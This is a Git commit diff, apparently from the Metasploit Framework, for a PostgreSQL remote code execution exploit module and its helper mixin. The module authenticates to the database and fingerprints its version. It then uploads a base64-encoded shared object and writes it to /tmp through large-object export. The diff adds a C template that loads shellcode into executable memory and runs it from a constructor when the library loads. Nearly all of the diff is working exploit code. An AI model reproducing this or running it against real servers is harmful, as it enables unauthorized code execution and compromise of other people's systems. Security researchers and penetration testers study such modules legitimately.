Compile a .so instead of being version-specific
This makes it possible to use payloads for the appropriate architecture NOTE: need to test windows and make sure I didn't break itbug/bundler_fix
parent
ad1870d819
commit
9c6fdbe9d7
|
@ -98,7 +98,6 @@ module Exploit::Remote::Postgres
|
||||||
def postgres_query(sql=nil,doprint=false)
|
def postgres_query(sql=nil,doprint=false)
|
||||||
ip = datastore['RHOST']
|
ip = datastore['RHOST']
|
||||||
port = datastore['RPORT']
|
port = datastore['RPORT']
|
||||||
verbose = datastore['VERBOSE']
|
|
||||||
postgres_login unless self.postgres_conn
|
postgres_login unless self.postgres_conn
|
||||||
unless self.postgres_conn
|
unless self.postgres_conn
|
||||||
return {:conn_error => true}
|
return {:conn_error => true}
|
||||||
|
@ -155,7 +154,7 @@ module Exploit::Remote::Postgres
|
||||||
# postgres_fingerprint attempts to fingerprint a remote Postgresql instance,
|
# postgres_fingerprint attempts to fingerprint a remote Postgresql instance,
|
||||||
# inferring version number from the failed authentication messages.
|
# inferring version number from the failed authentication messages.
|
||||||
def postgres_fingerprint(args={})
|
def postgres_fingerprint(args={})
|
||||||
postgres_logout if self.postgres_conn
|
return postgres_authed_fingerprint if self.postgres_conn
|
||||||
db = args[:database] || datastore['DATABASE']
|
db = args[:database] || datastore['DATABASE']
|
||||||
username = args[:username] || datastore['USERNAME']
|
username = args[:username] || datastore['USERNAME']
|
||||||
password = args[:password] || datastore['PASSWORD']
|
password = args[:password] || datastore['PASSWORD']
|
||||||
|
@ -167,7 +166,6 @@ module Exploit::Remote::Postgres
|
||||||
uri = "tcp://[#{rhost}]:#{rport}"
|
uri = "tcp://[#{rhost}]:#{rport}"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
verbose = args[:verbose] || datastore['VERBOSE']
|
verbose = args[:verbose] || datastore['VERBOSE']
|
||||||
begin
|
begin
|
||||||
self.postgres_conn = Connection.new(db,username,password,uri)
|
self.postgres_conn = Connection.new(db,username,password,uri)
|
||||||
|
@ -175,12 +173,14 @@ module Exploit::Remote::Postgres
|
||||||
version_hash = analyze_auth_error e
|
version_hash = analyze_auth_error e
|
||||||
return version_hash
|
return version_hash
|
||||||
end
|
end
|
||||||
if self.postgres_conn # Just ask for the version.
|
return postgres_authed_fingerprint if self.postgres_conn
|
||||||
|
end
|
||||||
|
|
||||||
|
def postgres_authed_fingerprint
|
||||||
resp = postgres_query("select version()",false)
|
resp = postgres_query("select version()",false)
|
||||||
ver = resp[:complete].rows[0][0]
|
ver = resp[:complete].rows[0][0]
|
||||||
return {:auth => ver}
|
return {:auth => ver}
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
# Matches up filename, line number, and routine with a version.
|
# Matches up filename, line number, and routine with a version.
|
||||||
# These all come from source builds of Postgres. TODO: check
|
# These all come from source builds of Postgres. TODO: check
|
||||||
|
@ -264,7 +264,7 @@ module Exploit::Remote::Postgres
|
||||||
read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT);
|
read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT);
|
||||||
COPY #{temp_table_name} FROM '#{filename}';
|
COPY #{temp_table_name} FROM '#{filename}';
|
||||||
SELECT * FROM #{temp_table_name}}
|
SELECT * FROM #{temp_table_name}}
|
||||||
read_return = postgres_query(read_query,true)
|
return postgres_query(read_query,true)
|
||||||
end
|
end
|
||||||
|
|
||||||
def postgres_has_database_privilege(priv)
|
def postgres_has_database_privilege(priv)
|
||||||
|
@ -288,17 +288,6 @@ module Exploit::Remote::Postgres
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
# Creates the function sys_exec() in the pg_temp schema.
|
|
||||||
def postgres_create_sys_exec_linux(so)
|
|
||||||
q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{so}', 'sys_exec' language C returns null on null input immutable"
|
|
||||||
resp = postgres_query(q);
|
|
||||||
if resp[:sql_error]
|
|
||||||
print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}"
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
|
|
||||||
# This presumes the pg_temp.sys_exec() udf has been installed, almost
|
# This presumes the pg_temp.sys_exec() udf has been installed, almost
|
||||||
# certainly by postgres_create_sys_exec()
|
# certainly by postgres_create_sys_exec()
|
||||||
def postgres_sys_exec(cmd)
|
def postgres_sys_exec(cmd)
|
||||||
|
@ -315,8 +304,13 @@ module Exploit::Remote::Postgres
|
||||||
|
|
||||||
# Takes a local filename and uploads it into a table as a Base64 encoded string.
|
# Takes a local filename and uploads it into a table as a Base64 encoded string.
|
||||||
# Returns an array if successful, false if not.
|
# Returns an array if successful, false if not.
|
||||||
def postgres_upload_binary_file_linux(fname)
|
def postgres_upload_binary_file(fname, remote_fname=nil)
|
||||||
data = postgres_base64_file(fname)
|
data = File.read(fname)
|
||||||
|
postgres_upload_binary_data(data, remote_fname)
|
||||||
|
end
|
||||||
|
|
||||||
|
def postgres_upload_binary_data(data, remote_fname=nil)
|
||||||
|
data = postgres_base64_data(data)
|
||||||
tbl,fld = postgres_create_stager_table
|
tbl,fld = postgres_create_stager_table
|
||||||
return false unless data && tbl && fld
|
return false unless data && tbl && fld
|
||||||
q = "insert into #{tbl}(#{fld}) values('#{data}')"
|
q = "insert into #{tbl}(#{fld}) values('#{data}')"
|
||||||
|
@ -325,37 +319,32 @@ module Exploit::Remote::Postgres
|
||||||
print_error resp[:sql_error]
|
print_error resp[:sql_error]
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
oid, fout = postgres_write_data_to_disk_linux(tbl,fld)
|
oid, fout = postgres_write_data_to_disk(tbl,fld,remote_fname)
|
||||||
return false unless oid && fout
|
|
||||||
return [tbl,fld,fout,oid]
|
|
||||||
end
|
|
||||||
|
|
||||||
# Takes a local filename and uploads it into a table as a Base64 encoded string.
|
|
||||||
# Returns an array if successful, false if not.
|
|
||||||
def postgres_upload_binary_file(fname)
|
|
||||||
data = postgres_base64_file(fname)
|
|
||||||
tbl,fld = postgres_create_stager_table
|
|
||||||
return false unless data && tbl && fld
|
|
||||||
q = "insert into #{tbl}(#{fld}) values('#{data}')"
|
|
||||||
resp = postgres_query(q)
|
|
||||||
if resp[:sql_error]
|
|
||||||
print_error resp[:sql_error]
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
oid, fout = postgres_write_data_to_disk(tbl,fld)
|
|
||||||
return false unless oid && fout
|
return false unless oid && fout
|
||||||
return [tbl,fld,fout,oid]
|
return [tbl,fld,fout,oid]
|
||||||
end
|
end
|
||||||
|
|
||||||
# Writes b64 data from a table field, decoded, to disk.
|
# Writes b64 data from a table field, decoded, to disk.
|
||||||
def postgres_write_data_to_disk_linux(tbl,fld)
|
def postgres_write_data_to_disk(tbl,fld,remote_fname=nil)
|
||||||
oid = rand(60000) + 1000
|
oid = rand(60000) + 1000
|
||||||
fname = "/tmp/" + Rex::Text::rand_text_alpha(8) + ".so"
|
remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll"
|
||||||
|
|
||||||
|
ver = postgres_fingerprint
|
||||||
|
case ver[:auth]
|
||||||
|
when /PostgreSQL 8\./
|
||||||
queries = [
|
queries = [
|
||||||
"select lo_create(#{oid})",
|
"select lo_create(#{oid})",
|
||||||
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
|
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
|
||||||
"select lo_export(#{oid}, '#{fname}')"
|
"select lo_export(#{oid}, '#{remote_fname}')"
|
||||||
]
|
]
|
||||||
|
when /PostgreSQL 9\./
|
||||||
|
queries = [
|
||||||
|
"select lo_create(#{oid})",
|
||||||
|
"insert into pg_largeobject select #{oid}, 0, decode((select #{fld} from #{tbl}), 'base64')",
|
||||||
|
"select lo_export(#{oid}, '#{remote_fname}')"
|
||||||
|
]
|
||||||
|
end
|
||||||
|
|
||||||
queries.each do |q|
|
queries.each do |q|
|
||||||
resp = postgres_query(q)
|
resp = postgres_query(q)
|
||||||
if resp && resp[:sql_error]
|
if resp && resp[:sql_error]
|
||||||
|
@ -364,37 +353,16 @@ module Exploit::Remote::Postgres
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return oid,fname
|
return oid,remote_fname
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
# Writes b64 data from a table field, decoded, to disk.
|
|
||||||
def postgres_write_data_to_disk(tbl,fld)
|
|
||||||
oid = rand(60000) + 1000
|
|
||||||
fname = Rex::Text::rand_text_alpha(8) + ".dll"
|
|
||||||
queries = [
|
|
||||||
"select lo_create(#{oid})",
|
|
||||||
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
|
|
||||||
"select lo_export(#{oid}, '#{fname}')"
|
|
||||||
]
|
|
||||||
queries.each do |q|
|
|
||||||
resp = postgres_query(q)
|
|
||||||
if resp && resp[:sql_error]
|
|
||||||
print_error "Could not write the library to disk."
|
|
||||||
print_error resp[:sql_error]
|
|
||||||
break
|
|
||||||
end
|
|
||||||
end
|
|
||||||
return oid,fname
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Base64's a file and returns the data.
|
# Base64's a file and returns the data.
|
||||||
def postgres_base64_file(fname)
|
def postgres_base64_file(fname)
|
||||||
data = File.open(fname, "rb") {|f| f.read f.stat.size}
|
data = File.open(fname, "rb") {|f| f.read f.stat.size}
|
||||||
[data].pack("m*").gsub(/\r?\n/,"")
|
postgres_base64_data(data)
|
||||||
end
|
end
|
||||||
|
|
||||||
def postgres_base64_elf(data)
|
def postgres_base64_data(data)
|
||||||
[data].pack("m*").gsub(/\r?\n/,"")
|
[data].pack("m*").gsub(/\r?\n/,"")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -10,6 +10,8 @@
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
require 'msf/core/exploit/postgres'
|
||||||
|
load 'lib/msf/core/exploit/postgres.rb'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
@ -34,41 +36,31 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'midnitesnake' # this Metasploit module
|
'midnitesnake', # this Metasploit module
|
||||||
|
'egypt' # .so technique
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Version' => '$Revision$',
|
'Version' => '$Revision$',
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt'
|
[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
|
||||||
]
|
|
||||||
],
|
],
|
||||||
'Platform' => 'unix',
|
'Platform' => 'linux',
|
||||||
'Arch' => ARCH_CMD,
|
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
{
|
{
|
||||||
'Space' => 0x65535,
|
'Space' => 65535,
|
||||||
'DisableNops' => true,
|
'DisableNops' => true,
|
||||||
'Compat' =>
|
|
||||||
{
|
|
||||||
'PayloadType' => 'cmd',
|
|
||||||
'RequiredCmd' => 'perl',
|
|
||||||
}
|
|
||||||
},
|
},
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
[ 'Automatic', { } ],
|
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
||||||
|
[ 'Linux x86_64', { 'Arch' => ARCH_X86_64 } ],
|
||||||
],
|
],
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
'DisclosureDate' => 'Jun 05 2007'
|
'DisclosureDate' => 'Jun 05 2007'
|
||||||
|
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptEnum.new('BITS',[true,'The architecture of the operating system X86(32) / or X86_64(64) bit OS','32',['32','64']])
|
|
||||||
],self.class)
|
|
||||||
|
|
||||||
deregister_options('SQL', 'RETURN_ROWSET')
|
deregister_options('SQL', 'RETURN_ROWSET')
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -76,9 +68,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
def username; datastore['USERNAME']; end
|
def username; datastore['USERNAME']; end
|
||||||
def password; datastore['PASSWORD']; end
|
def password; datastore['PASSWORD']; end
|
||||||
def database; datastore['DATABASE']; end
|
def database; datastore['DATABASE']; end
|
||||||
|
def rhost; datastore['rhost']; end
|
||||||
|
def rport; datastore['rport']; end
|
||||||
def verbose; datastore['VERBOSE']; end
|
def verbose; datastore['VERBOSE']; end
|
||||||
def rhost; datastore['RHOST']; end
|
|
||||||
def rport; datastore['RPORT']; end
|
|
||||||
def bits; datastore['BITS'];end
|
def bits; datastore['BITS'];end
|
||||||
|
|
||||||
def execute_command(cmd, opts)
|
def execute_command(cmd, opts)
|
||||||
|
@ -92,49 +84,34 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
when :noauth; print_error "Authentication failed."
|
when :noauth; print_error "Authentication failed."
|
||||||
when :noconn; print_error "Connection failed."
|
when :noconn; print_error "Connection failed."
|
||||||
end
|
end
|
||||||
return unless version =~ /8\.[234]/
|
#return unless version =~ /8\.[234]/
|
||||||
print_status "Authentication successful and vulnerable version #{version} on Linux confirmed."
|
print_status "Authentication successful and vulnerable version #{version} on Linux confirmed."
|
||||||
tbl,fld,so,oid = postgres_upload_binary_file_linux(so_fname(version))
|
tbl,fld,so,oid = postgres_upload_binary_data(
|
||||||
|
payload_so,
|
||||||
|
"/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
|
||||||
|
)
|
||||||
|
|
||||||
unless tbl && fld && so && oid
|
unless tbl && fld && so && oid
|
||||||
print_error "Could not upload the UDF SO"
|
print_error "Could not upload the UDF SO"
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})"
|
print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})"
|
||||||
ret_sys_exec = postgres_create_sys_exec_linux(so)
|
begin
|
||||||
if ret_sys_exec
|
postgres_create_sys_exec(so)
|
||||||
if @postgres_conn
|
rescue
|
||||||
print_status "Success"
|
|
||||||
tbl,fld,myexploit,oid = postgres_upload_binary_file_elf("#!/bin/sh\n" + payload.encode)
|
|
||||||
unless tbl && fld && myexploit && oid
|
|
||||||
print_error "Could not upload the PAYLOAD"
|
|
||||||
return
|
|
||||||
end
|
|
||||||
print_status "Uploaded #{myexploit} as OID #{oid} to table #{tbl}(#{fld})"
|
|
||||||
postgres_sys_exec("chmod 755 #{myexploit}")
|
|
||||||
postgres_sys_exec("#{myexploit}")
|
|
||||||
handler
|
|
||||||
postgres_logout if @postgres_conn
|
|
||||||
else
|
|
||||||
print_error "Lost connection."
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
postgres_logout if @postgres_conn
|
postgres_logout if @postgres_conn
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def so_fname(version)
|
|
||||||
print_status "Using #{version}/#{bits}/lib_postgresqludf_sys.so"
|
|
||||||
File.join(Msf::Config.install_root,"data","exploits","postgres",version,bits,"lib_postgresqludf_sys.so")
|
|
||||||
end
|
|
||||||
|
|
||||||
# A shorter version of do_fingerprint from the postgres_version scanner
|
# A shorter version of do_fingerprint from the postgres_version scanner
|
||||||
# module, specifically looking for versions that valid targets for this
|
# module, specifically looking for versions that valid targets for this
|
||||||
# module.
|
# module.
|
||||||
def get_version(user=nil,pass=nil,database=nil)
|
def get_version(user=nil,pass=nil,database=nil)
|
||||||
begin
|
begin
|
||||||
msg = "#{rhost}:#{rport} Postgres -"
|
#msg = "#{rhost}:#{rport} Postgres -"
|
||||||
password = pass || postgres_password
|
password = pass || postgres_password
|
||||||
vprint_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'")
|
vprint_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'")
|
||||||
result = postgres_fingerprint(
|
result = postgres_fingerprint(
|
||||||
|
@ -164,4 +141,60 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def payload_so
|
||||||
|
shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
|
||||||
|
#shellcode = "\\xcc"
|
||||||
|
|
||||||
|
c = %Q^
|
||||||
|
int _exit(int);
|
||||||
|
int printf(const char*, ...);
|
||||||
|
int perror(const char*);
|
||||||
|
void *mmap(int, int, int, int, int, int);
|
||||||
|
void *memcpy(void *, const void *, int);
|
||||||
|
int mprotect(void *, int, int);
|
||||||
|
int fork();
|
||||||
|
|
||||||
|
#define MAP_PRIVATE 2
|
||||||
|
#define MAP_ANONYMOUS 32
|
||||||
|
#define PROT_READ 1
|
||||||
|
#define PROT_WRITE 2
|
||||||
|
#define PROT_EXEC 4
|
||||||
|
|
||||||
|
#define PAGESIZE 0x1000
|
||||||
|
|
||||||
|
char shellcode[] = "#{shellcode}";
|
||||||
|
|
||||||
|
void run_payload(void) __attribute__((constructor));
|
||||||
|
|
||||||
|
void run_payload(void)
|
||||||
|
{
|
||||||
|
int (*fp)();
|
||||||
|
fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
|
||||||
|
|
||||||
|
memcpy(fp, shellcode, sizeof(shellcode));
|
||||||
|
if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
|
||||||
|
_exit(1);
|
||||||
|
}
|
||||||
|
if (!fork()) {
|
||||||
|
fp();
|
||||||
|
}
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
^
|
||||||
|
|
||||||
|
cpu = case target_arch.first
|
||||||
|
when ARCH_X86; Metasm::Ia32.new
|
||||||
|
when ARCH_X86_64; Metasm::X86_64.new
|
||||||
|
end
|
||||||
|
payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")
|
||||||
|
|
||||||
|
so_file = payload_so.encode_string(:lib)
|
||||||
|
|
||||||
|
File.open("payload.so", "wb") { |fd| fd.write so_file }
|
||||||
|
|
||||||
|
so_file
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue